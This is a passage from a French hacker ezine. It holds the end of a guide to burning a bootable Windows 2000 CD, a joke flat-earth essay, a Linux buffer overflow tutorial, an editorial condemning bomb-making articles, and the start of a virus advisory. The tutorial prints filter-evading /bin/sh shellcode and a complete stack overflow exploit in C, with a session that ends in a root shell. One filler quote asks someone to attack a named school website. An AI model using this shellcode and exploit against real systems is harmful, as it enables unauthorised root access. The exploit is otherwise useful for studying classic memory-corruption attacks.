        UTOPIADE.WA_, UTOPIAER.WA_, UTOPIAEX.WA_, UTOPIAMA.WA_, UTOPIAME.WA_,
        UTOPIAMI.WA_, UTOPIAOP.WA_, UTOPIAQU.WA_, UTOPIARE.WA_, UTOPIAWI.WA_,
        UTOPIA~1.WA_, UTOPIA~2.WA_, UTOPIA~3.WA_, UTOPIA~4.WA_, V7VGA.RO_,
        VANISHER.AN_, VBAJET32.DL_, VBSCRIPT.DL_, VCAUTO.TL_, VCDEX.DL_,
        VCMD.EX_, VCMSHL.DL_, VDICT.DL_, VDMDBG.DL_, VDMREDIR.DL_,
        VER.DL_, VERDANA.TT_, VERDANAB.TT_, VERDANAI.TT_, VERDANAZ.TT_,
        VERIFIER.EX_, VERISIGN.BM_, VERSION.DL_, VFPODBC.DL_, VGA.DL_,
        VGA.DR_, VGA.SY_, VGA256.DL_, VGA64K.DL_, VGA737.FO_,
        VGA775.FO_, VGA850.FO_, VGA852.FO_, VGA855.FO_, VGA857.FO_,
        VGA860.FO_, VGA861.FO_, VGA863.FO_, VGA865.FO_, VGA866.FO_,
        VGA869.FO_, VGAF1257.FO_, VGAFIX.FO_, VGAFIXE.FO_, VGAFIXG.FO_,
        VGAFIXR.FO_, VGAFIXT.FO_, VGAOEM.FO_, VGAS1257.FO_, VGASYS.FO_,
        VGASYSE.FO_, VGASYSG.FO_, VGASYSR.FO_, VGASYST.FO_, VGX.DL_,
        VIDEOPRT.SY_, VIEWPROV.DL_, VJOY.DL_, VMHELPER.DL_, VMMREG32.DL_,
        VOLUME.IN_, VOODOO3.IN_, VOXMSDEC.AX_, VOXMVDEC.AX_, VTEXT.DL_,
        VTXTAUTO.TL_, VWIPXSPX.DL_, VWIPXSPX.EX_, W32TIME.DL_, W32TM.EX_,
        W32TOPL.DL_, W3CTRS.DL_, W3CTRS.IN_, W3EXT.DL_, W3SCFG.DL_,
        W3SVAPI.DL_, W3SVC.DL_, W95UPGNT.DL_, WAB.CH_, WAB.EX_,
        WAB.HL_, WAB32.DL_, WAB32RES.DL_, WAB50.IN_, WABFIND.DL_,
        WABIMP.DL_, WABMIG.EX_, WAGTAIL.AN_, WAIT_I.CU_, WAIT_IL.CU_,
        WAIT_IM.CU_, WAIT_L.CU_, WAIT_M.CU_, WAIT_R.CU_, WAIT_RL.CU_,
        WAIT_RM.CU_, WAM.DL_, WAMPS.DL_, WAMREG.DL_, WAMREGPS.DL_,
        WANARP.SY_, WANGIMG.EX_, WANMGFR.IN_, WANMGS.IN_, WAVE.IN_,
        WAVEMIX.INF, WAVEMSP.DL_, WB32.EX_, WBCACHE.DE_, WBCACHE.EN_,
        WBCACHE.ES_, WBCACHE.FR_, WBCACHE.IT_, WBCACHE.NL_, WBCACHE.SV_,
        WBDBASE.DE_, WBDBASE.EN_, WBDBASE.ES_, WBDBASE.FR_, WBDBASE.IT_,
        WBDBASE.NL_, WBDBASE.SV_, WBEMADS.DL_, WBEMADS.TL_, WBEMCNTL.DL_,
        WBEMCOMN.DL_, WBEMCORE.DL_, WBEMDISP.DL_, WBEMDISP.TL_, WBEMESS.DL_,
        WBEMNT5.IN_, WBEMPERF.DL_, WBEMPERF.MO_, WBEMPERM.EX_, WBEMPROX.DL_,
        WBEMSNMP.EX_, WBEMSVC.DL_, WBEMTEST.EX_, WBEMUPGD.DL_, WBFIRDMA.IN_,
        WDL.TR_, WDMA10K1.IN_, WDMAUDIO.IN_, WDMA_ADI.IN_, WDMA_AUR.IN_,
        WDMA_AVA.IN_, WDMA_AZT.IN_, WDMA_BSC.IN_, WDMA_BSF.IN_, WDMA_BTL.IN_,
        WDMA_ENS.IN_, WDMA_ES2.IN_, WDMA_ESS.IN_, WDMA_INT.IN_, WDMA_NE2.IN_,
        WDMA_NEO.IN_, WDMA_USB.IN_, WDMA_WSS.IN_, WDMA_YM2.IN_, WDMA_YMH.IN_,
        WDMJOY.IN_, WEBCHECK.DL_, WEBDINGS.TT_, WEBFLDRS.MS_, WEBFOLDR.CH_,
        WEBHELP.CH_, WEBHITS.DL_, WEBVW.DL_, WELCOME.EX_, WELCOME.IN_,
        WELCOME.OS_, WEXTRACT.EX_, WEX_AXP.EX_, WFC.CA_, WFC.CE_,
        WFC.ZI_, WFOSPF.MI_, WFWNET.DR_, WHATSNEW.CH_, WHERE_98.CH_,
        WHERE_NW.CH_, WHOWHERE.BM_, WIFEMAN.DL_, WIN.CAB, WIN.CO_,
        WIN.IN_, WIN32SPL.DL_, WIN87EM.DL_,
        WINCHAT.CH_, WINCHAT.EX_, WINCHAT.HL_, WINDOWS.CN_, WINDOWS.HL_,
        WINDOW_W.CH_, WIND_W.CH_, WINFAX.DL_, WINGDING.TT_, WINHELP.EX_,
        WINHELP.HL_, WINHLP32.CN_, WINHLP32.EX_, WINHLP32.HL_, WINHSTB.EX_,
        WININET.DL_, WININSTL.CH_, WINLOGON.EX_, WINMGMT.EX_, WINMGMTR.DL_,
        WINMINE.CH_, WINMINE.EX_, WINMINE.HL_, WINMM.DL_, WINMSD.EX_,
        WINNLS.DL_, WINNT.BM_, WINNT.EXE, WINNT256.BM_, WINNT32.EXE
        WINNT32.HLP, WINNT32.MSI, WINNT32A.DLL, WINNT32U.DLL, 
        WINOLDAP.MO_, WINREP.EX_, WINRNR.DL_, WINS.MI_, WINSCARD.DL_,
        WINSMON.DL_, WINSOCK.DL_, WINSPOOL.DR_, WINSPOOL.EX_, WINSTA.DL_,
        WINSTRM.DL_, WINSYS.CAB, WINSYS32.CAB, WINTRUST.DL_, WINVER.EX_,
        WINWORD.DO_, WINWORD2.DO_, WIN_BOS.CH_, WJVIEW.EX_, WKSSVC.DL_,
        WKSTAMIG.IN_, WLDAP32.DL_, WLNOTIFY.DL_, WMI.DL_, WMI.MO_,
        WMICORE.DL_, WMILIB.SY_, WMIMGMT.MS_, WMIPROV.DL_, WMP.AD_,
        WORDPAD.CH_, WORDPAD.EX_, WORDPAD.HL_, WORDPAD.IN_, WORDPFCT.WPD
        WORDPFCT.WPG, WOW32.DL_, WOWDEB.EX_, WOWEXEC.EX_, WPNPINST.EX_,
        WRAPSAPI.DL_, WRITE.EX_, WRITE32.WP_, WS2HELP.DL_, WS2IFSL.SY_,
        WS2_32.DL_, WSCRIPT.CH_, WSCRIPT.EX_, WSCRIPT.HL_, WSECEDIT.DL_,
        WSECEDIT.HL_, WSH.INF, WSHATM.DL_, WSHEXT.DL_, WSHIRDA.DL_,
        WSHISN.DL_, WSHNETBS.DL_, WSHOM.OC_, WSHTCPIP.DL_, WSNMP32.DL_,
        WSOCK32.DL_, WTSAPI32.DL_, WTTSS22.DL_, WUICON1.GI_, WUICON2.GI_,
        WUICON3.GI_, WULOGO.GI_, WUM.HT_, WUPDINFO.DL_, WUPDMGR.EX_,
        XACTSRV.DL_, XCOMMAND.DL_, XCOPY.EX_, XENROLL.DL_, XIFFR3_0.DL_,
        XJIS.NL_, XLISTEN.DL_, XMLDSO.CAB, XMLDSOC.CA_, XOLEHLP.DL_,
        XRDT1354.PP_, XR_BC230.PP_, XTEL.DL_, XVOICE.DL_, YAHOO.BM_,
        ZAPOTEC.BM_, _BEFAULT.PI et les rpertoires COMPDATA, LANG,
        SYSTEM32, UNIPROC, WIN9XMIG, WIN9XUPG et WINNTUPG dans le
        rpertoire C:\WIN2000\i386

     3: Dans notepad.exe, crez un fichier qui dit 'All maman' et
        sauvegardez le sous C:\WIN2000\CDROM_IP.5
 
     4: Maintenant vous pouvez starter CDRWin. Suivez ce cheminement:
         Cliquez sur l'icone File Backup and Tools
         Function: Record Directories/Files directly to an ISO9660 Disc (on the fly)
         Directory Pathname: C:\WIN2000
         Directory Options:
          Recurse Subdirectories  ON
          Include Hidden Files  ON
          Check Directory Depth  OFF
          Include System Files  ON
          Include Archive Files Only  OFF
          ISO9660 Options:
          Long Filenames (Joliet)  ON
          Disable Version Numbers  ON
          Disable DOS Compatibility  OFF
          Advanced Options:
           Bootable Disc:
            Make Bootable Disc  ON
            Media Emulation Type  CUSTOM
            Image File Name: C:\ZINES\IGA13\NT4BOOT.BIN
            Developer Name: Microsoft Corporation
            Load Segment: 07C0
            Load Sector Count: 4
         Recording Options:
          Disc Type: CDROM
          Track Mode: MODE1
          Finalize Session  ON
          Write Postgap  ON
          Open New Session  OFF     
          Test Mode  OFF
        START

     Pour graver un CD bootable de Windows 2000 RC3 Pro, la recette est
     exactement la mme sauf que y'a ptet quelques fichiers de plus ou
     de moins.

     Pour graver un CD bootable de Windows 2000 RC2/RC3 Server, renommez
     le fichier CDROM_IP.5  CDROM_IS.5

     Pour graver un CD bootable de Windows 2000 RC2/RC3 Advanced Server,
     ben je l'ai jamais fait c'est soit CDROM_IS.5 ou CDROM_IA.5 :) Je
     gagerais sur le premier personellement, si vous pouvez me confirmer
     ca vnez m'en parler sur IRC.

     Ensuite pour booter le cd oubliez pas de changer le Boot Sequence dans
     votre BIOS, sinon aucune chance :-)


                                                                                   .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                                Qderf.2k         :  
 |                                                                                 :
 |_________________________________________________________________________________| 





 ===================================================================================================
                                                                                       Pub-O-sticker 
  Le dormeur se reveillera
 
 ===================================================================================================






 ,---------------------------------------------------------------------------------,
 | [013]                                                                           |
 |                          De la rotonditer de la terre                           | 
 :                                 so called                                       :
 ;                          ya de quoi qui tourne pas rond                         :
 ,                                                                                 .
 .    




	La terre est  ronde, tout le monde sais ca. Mais si ce n`etais pas vrai ?
  si  la  terre  etais  en fait plate mais  ronde  ou  le  pole  nord   s`erait  au 
  millieu et le pole sud occuperais le tour de ce rond. Bien sur je vous vois venir  
  avec vos loi de la physique qui prouvent que la terre est ronde,  mais  c`est loi 
  ne sont telle le fruit de la perception de l`etre  humain?  nous   avons   concus   
  des loi de la  physique qui parte du principe de notre perception, nous percevons 
  que la terre est une sphere, nous partons donc de la pour  etablir  des  loi  qui 
  explique les  phenomenes  que   nous   vivont.  Donc   les  loi  que  nous  avons  
  etablie serait totalement fausse si la terre etais plate, car elle   decoullerais   
  de loi a partir d`une base plate, mais elle se trouve vrai celon notre perception  
  des choses. si  nous   avions   percu  la  terre  plate   comme  elle  l`est  p-e  
  reelement, nous aurions etablie nos loi de la physique dans se sens. Nos loi sont  
  donc  etablie  celon  notre point de vue que nous croyons vrai, mais qui ne l`est  
  peu etre pas.


	comment expliquer que  le  mat  d`un  bateau apparait toujours en premier 
  alors?  et bien il ne sagit peu etre que d`une illusion d`optique qui decoulerais 
  des loi  de  la  physique  d`un monde plat. Pourquoi feson nous le tour alors, et 
  bien il se  pourrais que nous  ne  nous  rendion pas compte que nous tournions en 
  2d au  lieu de 3d dans un axe de 360  degres. Le pole nord serai alors le millieu 
  et le  pole  sud  marquerais le tour  du  monde, (enfin, avoir fait un monde plat 
  jaurais fait des   rebord  pour  garder  l`eau  a  l`interieur, pas vous ? ).  la  
  notion    de  distance devant etre totalement illusoir, ne decoulant que de notre 
  perception  fausser,  Bien  sur  c`est explication peuve vous s`embler illogique, 
  mais toute votre logique  est  baser  sur  ce  que  vous   percever. Ainsi  donc, 
  vous   ne pouvez aucunement prouvez que j`ai tord. Bien sur dautre theorie sur ca 
  forme disant   quelle   pourrais   etre   hexagonal  sont  totalement  fausse  et  
  stupide  puisqu`l  est  prouver que  la terre est bien ronde ( en 2d ou en 3d, ) 
  mais ronde.  bien sur, il se pourrait encore que ca ne soit finalement du a notre 
  perception.peu-etre meme suis-je le seul a exister, et vous n`exister que lorsque 
  je  vous vois , vous croise,  et  vous  disparaisser  aussitot  que  vous  sorter  
  de  mon  champ  de percepetion, p-e suis-je dieu, et je me suis inventer un monde 
  pour me  desennuyer  et  ca aussi vous ne pourrez jamais prouvez que ce n`est pas
  vrai,  puisque  en  theorie, vous nexistez meme pas.  Donc vous ne penser pas (je 
  pense donc je suis,  disait  descartes) mais il  se  pourrais  bien  que  je   ne
  fasse  que  m`imaginer  que  vous   pensee    et   emeter des opinions. Mais bon, 
  si cen est ainsi, vous   ne   lisez  pas  vraiment   se   text,   vous  en  aurez   
  tout simplement concience, lorsque j`aurais envie d`en discuter  avec  quelqu`un, 
  mais vous  croirez  l`avoir   reelement  lu,  pour  ajouter  au  realisme, quelle 
  meilleur  menteur que quelqu`un qui croit dire la veriter.  En fait, p-e moi meme
  ne  me  rend  meme  pas  compte  que  vous  netes pas reel, et que je crois aussi
  fort que    vous      que         vous existez reelement et que ce n`est que tout
  dernierement  que jai   theoriser  la veriter, mais bien sur, vous allez surement 
  me prendre pour un fou,  puisque  cette  realiter en laquelle je crois n`est plus
  la meme que celle qui simpose a votre perception. 

                                                                                   .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                                Wyzeman.buzz     :  
 |                                                                                 :
 |_________________________________________________________________________________| 





 ===================================================================================================
                                                                                       Pub-O-sticker 
  zip mon chien
 
 ===================================================================================================






 ,---------------------------------------------------------------------------------,
 | [014]                                                                           |
 |                              buffer overflow 2.1                                | 
 :                                 so called                                       :
 ;                           un autre article a suivre                             :
 ,                                                                                 .
 .    

     Si vous tes un lecteur habitu des zines IGA et bien vous vous demandez probablement 
   pourquoi un autre article sur les buffer overflows il y en n'a dj eu dans le zines prcdents.
   Eh bien les autres articles on surtout t axe sur windoze donc j'ai eu envie d'en faire un pour
   linux .


     Commenons par ce que vous devez savoir avant de continuer
   (pas obliger mais ca facilite la tche) :

 	- vous devez avoir lu le texte de __2 (#10) et de _rix(#11) sur les buffer overflow
	  ce que vous avez probablement dj fait vu votre admiration pour les zines IGA

	- connaitre le C et l'assembleur

	- un peu de connaissances Linux

	- une tte sur les paules

     Ce texte n'expliqueras pas en dtails exactement quoi faire mais donneras des exemples sur
   certain techniques pour aider a exploiter des buffers overflows sous linux. Vous n'avez qu'a
   exprimenter par vous mmes pour apprendre le reste.

   1-Comment passer le filtrage

     Certains programmes sous linux utilise dans leur code pour prvenir les buffers overflow une
   technique qui consiste a filtrer certains caractres ou qui les remplaces par d'autres
   afin de rendre plus compliquer la ralisation de votre plan dmoniaque qui est le
   "stack smashing".

    Voici un exemple de code de filtrage qui convertit les minuscules en majuscules
   ( vraiment basic )

   --- snip --------------------------------------------------

   #include<string.h>
   #include<ctype.h>

   int main(int argc,int **argv)
   {
	   char buffer[1024];
	   int i;

	   if(argc>1)
	   {
		   for(i=0;i<strlen(argv[1]);i++)
			   argv[1][i]=toupper(argv[1][i]);
		   strcpy(buffer,argv[1]);
	   }
   }

   --- snip --------------------------------------------------

     La vous vous demandez mais quest que ca fou si ca filtre les caractres?? Eh bien dans ce cas
   si ca veut dire que vous ne pourrez pas marquer "/bin/sh" ou utiliser des minuscules
   dans votre code car ca se ferait filtrer. Mais comment passer au travers du filtre sans se
   se faire filtrer ! hum...

   Je pense que c'est le temps d'un autres exemple!


   ------------code shell normal ----------------------------------------

   char codeshell[]=

        "\xeb\x1f"                      /* jmp 0x1f              */
	"\x5e"                          /* popl %esi             */
	"\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx        */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\x89\xd8"                      /* movl %ebx,%eax        */
	"\x40"                          /* inc %eax              */
	"\xcd\x80"                      /* int $0x80             */
	"\xe8\xdc\xff\xff\xff"          /* call -0x24            */
	"/bin/sh";                      /* .string \"/bin/sh\"   */

   ------------- fin ------------------------------------------------------

     Ce programme a 6 minuscules. 5 pour le "/bin/sh" et une dans le "movl %esi,0x8(%esi)"
   Comme j'ai dit plus haut on ne peut utiliser "/bin/sh" sinon ca va se faire filtrer. On
   peut par exemple insrer "\x2f\x12\x19\x1e\x2f\x23\x18" au lieu de
   "\x2f\x62\x69\x6e\x2f\x73\x68" ( "/bin/sh" ). Apres le buffer overflow on rechange le
   "\x2f\x12\x19\x1e\x2f\x23\x18" pour le "\x2f\x62\x69\x6e\x2f\x73\x68" pour qu'on puisse
   executer un shell.

     On peut facilement changer d'un  l'autres en ajoutant "\x50" a chaque membre. Dans le genre
   ajouter "\x50" a "\x62","\x69" et ainsi de suite (voir l'exemple plus loin).

     Mais la y nous reste notre fameux "movl %esi,0x8(%esi)". Qu'est qu'on pourrait faire avec?
   Ben on pourrait le changer pour une instruction qui fait la mme chose mais sans lettre
   minuscules ! On pourait faire "movl %esi,%eax", "addl $0x8,%eax","movl %eax,0x8(%esi)". C'est
   pas la seul solution ya n'a d'autres toutes aussi bonne. Laisser aller votre imagination.

    Donc on n'a fini le nouveau code et ca donne ca:

   ------ nouveau code shell --------------------------------------------------

   char codechell[]=
	"\xeb\x38"                      /* jmp 0x38              */
	"\x5e"                          /* popl %esi             */
	"\x80\x46\x01\x50"              /* addb $0x50,0x1(%esi)  */
	"\x80\x46\x02\x50"              /* addb $0x50,0x2(%esi)  */
	"\x80\x46\x03\x50"              /* addb $0x50,0x3(%esi)  */
	"\x80\x46\x05\x50"              /* addb $0x50,0x5(%esi)  */
	"\x80\x46\x06\x50"              /* addb $0x50,0x6(%esi)  */
	"\x89\xf0"                      /* movl %esi,%eax        */
	"\x83\xc0\x08"                  /* addl $0x8,%eax        */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx        */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\x89\xd8"                      /* movl %ebx,%eax        */
	"\x40"                          /* inc %eax              */
	"\xcd\x80"                      /* int $0x80             */
	"\xe8\xc3\xff\xff\xff"          /* call -0x3d            */
	"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"     */
	                                /* /bin/sh est dguis   */

   ------------ fin --------------------------------------------------------

   Voila avec ce code vous pouvez coder un exploit a vous! n'est ce pas magnifique.
   Vous voulez un exemple d'exploit aussi !Eh bien le voici

   ----------- exploit -----------------------------------------------------

   #include <stdio.h>
   #include <stdlib.h>
   #define ALIGN                             0
   #define OFFSET                            0
   #define RET_POSITION                   1024
   #define RANGE                            20
   #define NOP                            0x90

   /* notre code de tantot */

   char shellcode[]=
	"\xeb\x38"                      /* jmp 0x38              */
	"\x5e"                          /* popl %esi             */
	"\x80\x46\x01\x50"              /* addb $0x50,0x1(%esi)  */
	"\x80\x46\x02\x50"              /* addb $0x50,0x2(%esi)  */
	"\x80\x46\x03\x50"              /* addb $0x50,0x3(%esi)  */
	"\x80\x46\x05\x50"              /* addb $0x50,0x5(%esi)  */
	"\x80\x46\x06\x50"              /* addb $0x50,0x6(%esi)  */
        "\x89\xf0"                      /* movl %esi,%eax        */
	"\x83\xc0\x08"                  /* addl $0x8,%eax        */
	"\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
	"\x31\xc0"                      /* xorl %eax,%eax        */
	"\x88\x46\x07"                  /* movb %eax,0x7(%esi)   */
	"\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
	"\xb0\x0b"                      /* movb $0xb,%al         */
	"\x89\xf3"                      /* movl %esi,%ebx        */
	"\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
	"\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
	"\xcd\x80"                      /* int $0x80             */
	"\x31\xdb"                      /* xorl %ebx,%ebx        */
	"\x89\xd8"                      /* movl %ebx,%eax        */
	"\x40"                          /* inc %eax              */
	"\xcd\x80"                      /* int $0x80             */
	"\xe8\xc3\xff\xff\xff"          /* call -0x3d            */
	"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"     */
	                                /* /bin/sh est dguis   */
   unsigned long get_sp(void)
   {
	   __asm__("movl %esp,%eax");
   }  

   main(int argc,char **argv)
   {
	   char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
	   long addr;
	   unsigned long sp;
           int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
	   int i;

	   if(argc>1)
		   offset=atoi(argv[1]);

	   sp=get_sp();
	   addr=sp-offset;

	   for(i=0;i<bsize;i+=4)
	   {
		   buff[i+ALIGN]=(addr&0x000000ff);
		   buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
		   buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
		   buff[i+ALIGN+3]=(addr&0xff000000)>>24;
	   }

	   for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
		   buff[i]=NOP;

	   ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
	   for(i=0;i<strlen(shellcode);i++)
		   *(ptr++)=shellcode[i];

	   buff[bsize-1]='\0';

	   printf("Jump to 0x%08x\n",addr);

	   /* execute le programme vulnerable au buffer overflow */

	   execl("./prog_vulnerable","prog_vulnerable",buff,0);
   }

   ---------- fin -------------------------------------------------------------

   Comment on utiliserait notre exploit sous linux!


	   [host]$ ls -l prog_vulnerable
	   -rwxr-xr-x   1 root     root          6932 Nov 06 13:20 prog_vulnerable

	   [host]$ ls -l nom_de_notre_exploit
	   -rwxr-xr-x   1 alex     user          6932 Nov 06 13:20 nom_de_notre_exploit

	   [host]$ ./nom_de_notre_exploit
	   Jump to 0xbfffec64
	   Segmentation fault

	   [host]$ ./nom_de_notre_exploit 500
	   Jump to 0xbfffea70

	   bash# whoami
 	   root		   /* le but etre root */

   Bon c'est fini pour cette article ci, un peu court mais bon manque de temps . Peut-tre
   d'autres techniques dans un prochain ezine.

                                                                                   .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                                Rew.tbeer        :  
 |                                                                                 :
 |_________________________________________________________________________________| 





 ===================================================================================================
                                                                                       Pub-O-sticker 
  <Dukest4r> lol ok... ya tu qqn qui peut faire un iis sur www.cslaval.qc.ca? pcq la shu 
   ecoeurer d'le faire de mon modemcable de chez nous pas spoofer lol pi faut j'sacre mon 
   camp a l'ecole dans 2 min
 
 ===================================================================================================






 ,---------------------------------------------------------------------------------,
 | [015]                                                                           |
 |                        Le syndrome de la belle parrure                          | 
 :                                 so called                                       :
 ;                    Quand on vous prend pour une Cruche naive.                   :
 ,                                                                                 .
 .    

     Amateur de bombes, vous avez du etre dessus de voir que dans
     tout ces zines, iGA na jamais au grand jamais fait d'article sur
     le sujet. Et pourquoi donc? Et bien la raison en est
     excessivement simple, nous nous sousions tellement de nos
     lecteurs qu'on ne prefaire pas etre complice des conneries qu'ils
     seraient aptes a faires. Bien sur, des plants pour de tels explosifs
     existent a profusion sur le net, mais je vous rapelle que ces
     plants sont ecris par des personnes qui ont pour but de remplire
     un mag au plus crissant. En somme ce que vous y trouver est
     spetialement dedier au Dummie. Le gars qui publie ces
     renseignement n'a aucune moral, la seule chose qui le preocupe
     ces d'arriver a son tirrage du mois avec ses 15 articles pis son
     120k de texte. Pitier je m'etonne de pas voir plus de personnes
     responsables. Quand on sais pertinament qui a des kids de 12 ans
     qui imprime sur des imprimantes au secondaire des copies de Zine
     j'aimerais vraiment pas etre celui qui a publier un article qui
     a fait en sorte qu'un de ces enfants ait perdu un oeil. Mais apres
     tout, ces si facile de jeter la responsabiliter a d'autres en
     disant la phrase clef : Ces lui qui la faite, pas moi, j'ai
     juste decrit comment la faire.
     C'est facille de dire dans l'entete d'un article qu'on se
     degage de toute responsabilitee mais ces dur de reflechir sur
     ces paroles...

     Depuis que les Zines sont Zines:
     NPC,QHA,PyroFreak,NeverSee,FrHack,912HQ,TSA,TC

     Ont TOUS fait participer a la mise par ecrit de texte sur les Bombes... sauf iGA !
     Et pourquoi, car iGA pense a vous!

     Jamais au grand jamais nous n'avont voulu blaisser par quelque
     facon que ce sois une personne, au risque de perdre les lecteurs
     qui sont si assidus a ce genre te texte. Apres tout ont a tous une
     vie a vivre et j'aimerais bien la passer en un seul morceau.
     Sans doute je ne reinvente pas la roue mais franchement je crois
     qui'il est plus que temps que la scene du Hack se detache de
     ce genre de texte des plus instables publier par des
     irresponsables pour des naifs. Et qui sais meme si la personne
     qui consoit cette bombe s'en sort indeme, on ne sais ce qu'elle
     fera avec? Le terrorisme est present et si vous
     voyer les nouvelles en vous disant, bof 20 morts en argentine,
     c'est dramatique mais, Oh cherie ta tu verifier les # de loto ?
     Vous ete le parfais type a vous desensibilisez de ces evenements.
     Et je m'adresse a tout ceux qui ont ecrit des articles sur les
     explosifs dans les Zines nommer plus haut, ainsi qua tout ceux
     qui ont fait en sorte que ces zine soit publier sans apporter
     leurs desacord, je suis dessus, vraiment dessus de votre
     immaturite. Je trouve ca vraiment desolant de voir que des
     editeurs de 19-20...24 ans ne peuvent tracer la limite entre
     ce qu'ils vehicule et les nouvelle de 6h. Les explosifs sont
     imprevisibles, dumoins dans tout les plants proposer par ces
     zines, si vous avez un peu de jugement VOUS lecteur, ne laisser
     pas votre vie dans les mains de personne qui ne se disent pas
     responsables de ce qu'ils expliquent.

     Et de grace, cher membres des crew de la scene, ne venez pas
     me dire que vous faite cela par Principe ou par idologie
     d'un monde ou une anarchie pseudo Structurer regnerais. Ne me dite
     pas non plus que vous voulez seulement detruire des choses avec
     ces explosifs, car franchement la cause n'est vraiment pas
     gratifiante. Deplus, qui sais si la vie d'autres personnes
     n'est pas en danger quand vous poser vos explosifs, je doute
     vraimant que vous posseder les certifications qui s'impose pour
     ce genre de de travail.

     Que vous vous fassiez sauter la tronche me desole soit, mais que
     vous demontriez si peu d'Ethique envers d'autres personnes me
     rend vraiment malade. Si peu de responsabilite face a autrui,
     vous manquer serieusement de jugement et d'extoriarisation ne pensez
     plus a vous meme et ouvrer vous au monde exterieur, car c'est
     dans un contacte humain que vous y trouverer la responsabilite.
     Que vous eyez peut d'etre mis a nu par le fisage de l'autre
     vous impose d'etre totalement responsable de celui-ci et ce sans
     que ce sois reciproque.

     Je sais tres bien que meme apres cet article, plusieurs
     groupe continurons a publier ce type d'article, que ce soit
     par e-zine ou par texte sur leurs web page, mais dites vous
     qu'iGA se tiendra loin de cette voie car si la personne qui
     ecrit ce type d'article se dit "non responsable de ce qu'il 
     peut arriver" personne ne devrait
     meme penser a publier ou a afficher son texte. Ces articles sont
     souvent trop facile et vallent la negligance de celui qui les
     a ecrits.

     Vous lecteur, prenez garde car c'est dans ce texte que vous verrez
     la differance entre un groupe intelligent qui construit, devloppe
     et reflechis et d'autes groupes qui se contante de detruire et/ou 
     profiter d'une petite gloire personelle. Car apres tout, ils auront
     choisis le chemin de la facilite dans tout les cas, sans aucun
     sousie de votre situation.

     Il est facile de se perdre dans la voie de la destruction, mais combien 
     plus difficile de chercher celle de la construction.

     Et pour conclure; JE suis responsable de cette article :


                                                                                   .
 :                                                                                 ;
 :                                                                                 '   
 ;                                                                Qwzykx           :  
 |                                                                                 :
 |_________________________________________________________________________________| 





 ===================================================================================================
                                                                                       Pub-O-sticker 
 IGA 14, bigger, longer & uncut
 
 ===================================================================================================






 ,---------------------------------------------------------------------------------,
 | [016]                                                                           |
 |                                Joyeux nowel                                     | 
 :                                 so called                                       :
 ;                     met ta tuque pour pas pogner la grippe                      :
 ,                                                                                 .
 .    

  	     He non, ce n'est malheureusement pas un article idee cadeau
     pour nowel,   nous  sommes   bien   trop  cheap  pour  ca,  la seul
     proposition que je peu vous  faire,  cest. donnez en pas de maudits
     cadeau, sauf a moi  bien  sur. En fait, il sagit d'un advisorie sur
     un nouveau virus. Prilissa de son  prenom ( a ton idee de donner de
     telle nom a des virus,  surement  encore  le  nom  de  la  femme du 
     programmeur  ou  quelque  chose du genre ). Enfin, bref, passont au
     d'etails.


                    _
                /\ / | /\                      9999999 
                  \  |/  \                    999999999  
                ___\_/_____                  99999999999
               |           |                99/       \99
               |   o   o   |                9|  o   o  |9 
               |     o     |                 |    |    | 
               |   \___/   |                  \  ___  /
                \___   ___/                    \_   _/
                 ___| |____                     /   \
                / | `-'  | \                   /     \ 
               |  |J'aime|  |                 / |i'm| \ 
               |  |  ma  |  |                / / with\ \
               |  |femme |  |               / / stupid\ \ 
               |  |______|                 |  |<------|  |  
                \ |__|_|_| /                \ |_______| / 
                 \|      |/                  \|       |/
                  |   |  |                     \     /
                  |   |  |                      |  | | 
                  |   |  |                      |  | | 
                  |   |  |                      |  | | 
                  |___|__|                      |__|_|
                  |___\___\                    /__/__|

     < [__2]  cest le premier essaie de wyze en askee et le dernier :) >



     Prelissa se declanchera le 25 decembre (vous voyiez le lien avec le
     titre de l'article ? )  et  est  par le fait meme appellez virus de
     noel (stu pas cute). Le plus  amusant  c'est  que  le  virus a pour
     fonction de formater votre  HD, quelle beau cadeau pour la journee
     de la naissance du ti jesus, n'est-il pas ?

     Comme  sont  predecesseur sur lequelle il a fortement ete inspirer,
     Melissa. Prelissa se  propage  via  Email.  Vous  pouvez  vous   en
     infecter en utilisant outlook ou outlook expresse ou encore eudora.
     Cependant ce dernier  ne peu se propager que via outlook et outlook
     express. Le virus se  propage en s'auto envoyant au 50 premier user
     de votre mail liste. Effet pervers, au lieu de genere un .doc bidon
     il sinstalle sur le dernier doccument word que vous avez  utilisez.
     donc certaine information personnelle pourrais  se  rammasser  dans
     des   millions  de  boite  a male virtuelle ( tordant non? :] ). Le
